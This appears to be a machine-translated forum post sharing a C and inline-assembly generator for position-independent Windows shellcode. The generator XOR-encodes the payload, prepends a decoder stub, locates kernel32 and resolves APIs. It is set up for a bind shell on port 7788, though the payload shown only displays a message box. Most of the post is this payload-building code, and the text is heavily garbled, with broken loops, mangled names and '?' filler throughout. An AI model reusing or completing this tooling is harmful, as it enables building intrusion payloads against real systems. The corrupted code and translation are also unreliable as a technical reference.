I looked at X's shellcode a few days ago, there are a lot of things very much. I found a high person to find a high person today. I found a high person. I saw it. I saw it. Yes, so I'm launching everyone to see if I have learned to use Ah!
?
This is a general shellcode, which is compiled under VC !
/ * ??????????? Use the C language to write universal shellcode's program: Internet modification: hume / cold rain test: win2k sp4 local
* / # include
#include
#include
#define? Debug 1
/// / function prototype // void ???? decryptsc (); void ???? shellcodes (); void ???? printsc (char * lpbuff, int buffsize);
//// Use of the part defined // # define? Beginstrlen ??? 0x08 ??? // Start the string length #define? Endstrlen ????? 0x08 ??? // End the length of the marker character #define ? NOP_CODE ?????? 0x90 ??? // Fill characters #define? NOP_LEN ??????? 0x0 ???? // shellcode started fill length #define? buffsize ?????? 0x20000 // Output buffer size
#define? SC_PORT ??????? 7788 ??? // Bind port number 0x1e6c # define? sc_buffsize ??? 0x2000? // shellcode buffer size
#define? enc_key ??????? 0x7a ??? // encoding key
#define? MAX_ENC_LEN ??? 0x400 ?? // encrypted the maximum length 1024? #define? MAX_SC_LEN ???? 0x2000? // Hellcode's maximum length 8192 is sufficient? #define? MAX_API_STRLEN 0X400 ?? // Apistr string length #define? API_ENDSTR ???? "strend" // API end tag string ??? #define? API_ENDSTRLEN? 0x06 ??? // tag string length
#define proc_begin __ASM? _emit 0x90 __asm? _emit 0x90 __asm? _emit 0x90 __asm? _emit 0x90 / ?????????????????????????????? __asm? _emit 0x90 __asm? _emit 0x90 __ASM? _emit 0x90 # define proc_end proc_begin // -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ----------- enum {?????? // Kernel32 ??????????? _CreatePipe, ??????????? _CreateProcessA, ?? ????????? _closehandle, ??????????? _peeknamedpipe, ??????????? _readfile, ??????????? _writefile, ??????????? _EXITPROCESS, ???????????? // WS2_32 ??????????????????????????????????? ? _bind, ???????????? _Listen, ??????????? _Accept, ???????????_send, ???????? ??? _Recv, ???????????? _ioctlsocket, ???????????? _clossoCket,
??????????? // native test USER32 ??????????? _MessageBeep, ??????????? _Messageboxa, ??????? ???? API_NUM};
//// Code Now // int __cdecl main (int argc, char ** argv) {? // SHELLCODE STATIC CHAR APISTR [] = "/ x1e / x6c" ?? // Port address
?????????????// kernel32 API function name ??????????? "createpipe" "/ x0" ??????????? "CreateProcessa" "/ x0" ??????????? "closehandle" "/ x0" ??????????? "peeknamedpipe" "/ x0" ?????????? ? "Readfile" "/ x0" ??????????? "writefile" "/ x0" ??????????? "EXITPROCESS" "/ x0"
??????????? // other API used API ?????????? "WSOCK32.DLL" "/ X0" ?????????? ? "socket" "/ x0" ??????????? "bind" "/ x0" ??????????? "listen" "/ x0" ?????? ????? "accept" "/ x0" ??????????? "send" "/ x0" ??????????? "RECV" "/ X0" ?? ????????? "ioctlsocket" "/ x0" ???????????? "closesocket" "/ x0" ??????????? // native test ??????????? "" User32.dll "" / x0 "???????????" messagebeep "/ x0" ??????????? Messageboxa "" / x0 "???????????" / x0 / x0 / x0 / x0 / x0 "???????????" STREND ";
? * fnbgn_str = "/ x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90" ;? // tag started string? CHAR? * fnend_str = "/ x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 "; // Targe end string
?? buff [buffsize]; ???????? // buffer? CHAR? SC_BUFF [SC_BUFFSIZE]; ?? // shellcodes buffer? char? * pdcrypt_addr, ??????? * psc_addr;
? int ?? buff_len; ?????????????? // buffer length? int ?? enccode_len; ??????????? // encrypted encoded code length? int? ? SC_LEN; ???????????????? // Original shellcode length
? int ?????? i, k ;? unsigned? char ch;
? //? // Get the decryptsc () address, the address of the decoding function, then search for the max_enc_len byte, find the string started with the tag? // Get the start address of the real decoding assembly code, MAX_ENC_LEN is defined as 1024 bytes It is already enough, then this? // part code copy into the buffer of the SHELLCODE to prepare for further processing? //? Pdcrypt_addr = (char *) Decryptsc;
? // Position its actual address, because in the case where the debug version debugging is generated with Visual Studio, the compiler generates a jump table,? // From the jump table to calculate the actual address actually, this is just to Easy to use VC debugging
? ch = * pdcrypt_addr ;? if (ch == 0xe9)? {????? pdcrypt_addr ; ????? i = * (int *) pdcrypt_addr; ????? pdcrypt_addr = (i 4); ????? // At this time, point to the actual address of the function?}? // find the beginning of the decoded code? For (k = 0; K
? if (k
? Else
? {
????? // Display error message
????? k = 0;
????? printf ("/ nno begin str defined in Decrypt Function! Please check before go on ... / n"); ????? Return 0;
?
? for (k = 0; k
? if (k
? Else
? {
????? k = 0;
????? printf ("/ nno end str defined in Decrypt Function! Please check .... / n");
????? return 0;
?
? MEMSET (BUFF, NOP_CODE, BUFFSIZE); ?????????????????????? / buffer fill? Memcpy (buff NOP_LEN, PDCRYPT_ADDR, Enccode_len);? ?????? // copy the decryptsc code into buff
? //? // Process the shellcode code, if need to be positioned to the start of the code? //? Psc_addr = (char *) shellcodes; ???? // shellcode address
? // Function address processing in debugging, easy to debug? CH = * psc_addr ;? if (ch == 0xe9)? {????? psc_addr ; ????? i = * (int *) PSC_ADDR; ????? psc_addr = (i 4); ????? // point to the actual address of the function?}
? // If you need to locate the beginning of the actual shellcodes (), is this version not required? / *? For (k = 0; K
? if (k
? * /
? / / Find the end of the shellcode and length? For (k = 0; K
? if (k
? Else
? {
????? k = 0;
????? printf ("/ nno end str defined in shellcodes function! please check .... / n");
????? return 0;
?
? // copy the shellcode code into SC_Buff? Memcpy (sc_buff, psc_addr, sc_len);
? // copy the character string on the end of shellcode? For (i = 0; i
? IF (i> = max_api_strlen)
? {
????? printf ("/ nno end str defined in API STRINGS! PLEASE CHECK .... / N");
????? return 0;
?
? Memcpy (sc_buff k, apistr, i);
? SC_LEN = I; ??????? // increase the length of shellcode
? //? // The encoding algorithm for shellcode is simple, can be changed as needed? //? K = Enccode_len nop_len; ??? // The positioning buffer should store the beginning of the shellcode address
? for (i = 0; i
???? ch = sc_buff [i] ^ enc_key; ???? // Replace some characters that may cause shellcode failure ???? = (CH <= 0x1f || CH == '|| CH = = '.' || CH == '/' || CH == '0' || CH == '?' || CH == '%' || CH == ' ') ???? {??????? buff [k] = '0'; ??????? k; ??????? CH = 0x31;??? ?} ???? // put the encoded shellcode behind the decryptsc code ???? buff [K] = CH; ???? k ;?}? // shellcode's total length? BUFF_LEN = K ;
? // Print SHELLCODE? PRINTSC (BUFF, BUFF_LEN) ;? // Buff [buff_len] = 0 ;? // Printf ("% s", buff);
#ifdef debug? _ASM {????? lea eax, buff ????? jmp eax ?????} #ENDIF
??? RETURN? 0;}
// Decode the code void? Decryptsc () {?????? __ASM {
/// Definition start sign / ????????? proc_begin ??? // c macro to begin proc
?????????? jmp ?? nextgetenccodeaddr: ????????? Pop ?? EDI ???????? push? EDI ????????? Pop? ? ESI ????????? xor ?? ECX, ECXDECRYPT_LOP: ??????????? CMP? Al, CL ???????? ? JZ ?? shell ????????? cmp? Al, 0x30? // determined whether it is a special character ????????? jz ?? special_char_cleanstore: ????? ???? ?????????????????????? stosb ????????? JMP? decrypt_lopspecial_char_clean: ?? ???????? ingSB ????? ???? sub al, 0x31 ????????? jmp storenext: ???? ????????? Call? GetEnccodeAddr ????????? //, the rest of the real encryption SHELLCODE code will be connected here shell: ???
// / Define the end sign / ??????????????????????????????????????????????????????????
?????????}} ????????
//// shellcode code // void shellcodes () {??? // API low address array ??? ??? farproc ???? API [API_NUM];
??? // I acquired the API address ??? FarProc ???? getProcaddr; ??? farproc ??? loadLib;
???????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????
??? char ??????? * apistr_addr, * p; ??? ??? INT ???????? k; ??? u_short ???? shellcode
??? // Test variables ??? char ??????? * TestAddr;
/ * ??? startupinfo; ??? socket ????? listenfd, clientfd; ??? Struct ????? sockaddr_in server; ??? int ??????? Iaddrsize = Sizeof (Server ); ??? int ???????? lbytesread; ??? process_information processinformation; ??? handle ????? hreadpipe1, hwritepipe1, hreadpipe2, hwritepipe2; ??? security_attributes sa; * /
_ASM {??????? jmp ??? Locate_addr0GetaPistr_addr: ??????? pop??? apistr_addr
??????? // Start getting the address of the API and the address of getProcaddress and LoadLibrarya, you can easily access any API's address.
??????? // protection register ?????? pushad
?????????? ESI, ESI ??????? Lods ??? DWORD PTR fs: [ESI] ??????? Search_krnl32_lop: ??????? inco ???? EAX ??????? je ????? kRnl32_base_ok ??????? dec ???? eax ??????? XCHG ??? ESI, EAX ??????? Lodsd ? ??????? jmp ???? Search_krnl32_lopkrnl32_base_ok:
??????? lodsd ????????????????????????????????? ???????; compare if pe_hdr ??????? XCHG ??? ESI, EAX ??? Find_pe_header: ??????? dec ???? ESI ??????? XOR ???? si, si ??????????; kernel32 is 64kb align ??????? MOV ???? eax, [ESI] ??????? add ?? ?? AX, - 'ZM' ???????; ?????? ??????? jne ???????? MOV ???? EDI, [ ESI 3CH] ??; .e_lfaNew ??????? ??????? MOV ???? Eax, [ESI EDI] ??????? add ???? EAX, 'EP' ??????; anti heuristic Change this if you are using masm etc. ???? ??????? jne ???? find_pe_header? ??????? ???? ??? push ???? ESI ????????????????????????; ESI = VA KERNEL32.BASE??? ??????????????????????????????; EDI = RVA K32.PEHDR ??????? ??????? MOV ???? ebx, esi ??????? MOV ???? EDI, [EBX EDI 78H]?; peh.dataDirectory ??????? ??????? push ?? ? EDI ??????? push ??? ESI
??????? MOV ???? EAX, [EBX EDI 20H]?; peexc.addressofnames ?????????????????? ???? EDX, [EBX EDI 24h]?; peexc.addressofnameordinals ????? ??????? call ???????? _emit 0x47 ?????? ? _emit 0x65 ??????? _emit 0x74 ??????? _emit 0x50 ??????? _emit 0x72 ??????? _emit 0x6f ??????? _emit 0x63 ?? ????? _emit 0x41 ??????? _emit 0x64 ??????? _emit 0x64 ??????? _emit 0x72 ??????? _emit 0x65 ??????? _emit 0x73 ??????? _emit 0x73 ??????? _emit 0x0 ??????? // DB ???? "getProcaddress", 0__getprocaddr: ??????? pop ???????? POP ?? ?? EDI ??????? MOV ???? ECX, 15 ?????????????? SUB ???? eax, 4Next _: ??????? ?? ????? add ???? EAX, 4 ??????? add ???? EDI, ECX ??????? SUB ???? EDI, 15 ??????? MOV ???? ESI, [EBX EAX] ??????? add ???? ESI, EBX ??????? MOV ???? ECX, 15 ??????? REPZ ??? cmpsb ??????? jnz ???? next _ ??????? pop ???? ESI ??????? POP ???? EDI
??????? SUB ???? EAX, [EBX EDI 20H] ?????; peexc.addressofnames ??????? shr ???? eax, 1 ????? ?? add ???? EDX, EBX ??????? Movzx ?? Eax, Word PTR [EDX EAX] ??????? ??????? add ???? ESI, [EBX EDI 1CH] ??????; peexc.addressoffunctions ??????? add ???? EBX, [ESI EAX * 4] ????????; ebx = kernel32 .GETPROCADDRESS.ADDR ????????????????????????????????; use getProcaddress and hModule to Get Other func ??????? POP ???? ESI ????????????????????; ESI = Kernel32 Base
??????? MOV ???? [hkrnl32], ESI ?????????? // save ??????? MOV ???? [getProcAddr], EBX??? ??? // save
??????? call ??? _getloadLib ??????? _emit 0x4c ??????? _emit 0x6f ??????? _emit 0x61 ??????? _emit 0x64 ?? ????? _emit 0x4c ??????? _emit 0x69 ??????? _emit 0x62 ??????? _emit 0x72 ??????? _emit 0x61 ??????? _emit 0x72 ??????? _emit 0x79 ???????? _emit 0x41 ??????? _emit 0x0 ??????? // DB ????? "LoadLibrarya", 0? ?????? _getloadlib: ??????? push ??? ESI ??????? Call ??? EBX ??????? MOV ???? [loadLib], EAX? ?????? // Restore registers to avoid more problems ??????? popad ???}
?? // Remove the defined port address ?? shellcodeport = * (u_short *) apistr_addr; ?? apistr_addr = 2; ?? ?? Test ??? TestAddr = apistr_addr; ??
?? // Use getProcAddress to get the API address used in Shellcode
?? Lionle = HKRNL32; ?? p = apistr_addr;
?? K = 0; ?? /// * ?? While ((unsigned int *) p)! = 0) ?? {?????? apistr_addr = p; ????? While * P) p ; ?? // proceed to the next string
?????? if (* (unsigned int *)) == 'lld.') ?????? {?????????? LiBHandle = (Handle) LoadLib (apistr_addr) ;? // Load the DLL ???????} ?????? {????????? API [K] = (FarProc) getProcaddr (librandle, apistr_addr); ?????????? k ; ??????????? Apistr_addr = p; // update Pointer to enter a character position ?????? ??} ?? ?? // * /
/// // ???????? The following can use the C language to write the shellcode of the real implementation function ??????????????? //////// / Simple Test Several API See if the Composite Requirements // API [_MessageBeep] (0x10); API [_MessageBoxa] (0, TestAddr, 0,0x40); API [_EXITPROCESS] (0); /////??? ??????????????????????? shellcode function part end ?????????????????????? / ////
// Dead cycle DIE: ?? ??? goto die; __ASM ??? {locate_addr0:? ?????????? Call getApistr_addr ????? // 5 Bytes // Real string data To connect here???
?
/// Define the end sign / ?????????????????????????}}
/// / C string format code // void printsc (char * lpbuff, int buffsize) {??? Int i, j; ?????????????????????????????????????????????????????? ; ??? for (i = 0; i
??? {
??????? IF ((i% 16) == 0)
??????????? IF (i! = 0) ???????????????printf ("/" / n / ");
??????????? ELSE
??????????????? printf ("/");
??????? Sprintf (MSG, "
//x%.2x" ,lpbuff[i]&0xff);
??????? for (p = msg, j = 0; j <4; p , j )
??????? {
??????????? if (iSuppper (* p))
??????????????? printf ("% c", _tolower (* p));
??????????? ELSE
??????????????? printf ("% C", P [0]);
???????}
???}
???printf ("/"; / N / * shell total is% D Bytes * // n ", buffsize;
}
in conclusion:
Looking for the positioning of kernel and API function addresses
1. Basic: violent acquisition address space;
2. Acquisition from PEB Related Data (Reference: Green Alliance No. 44 SCZ "" List of User Module by TEB / PEB Enumeration Current Process Space ")
3. Searching the SEH Link table for the process Get the kernel32.unheadleexceptionFilter address;
Although these are still ambiguous, but as the saying goes: "Wen, know the new", often warm hometown! I often study!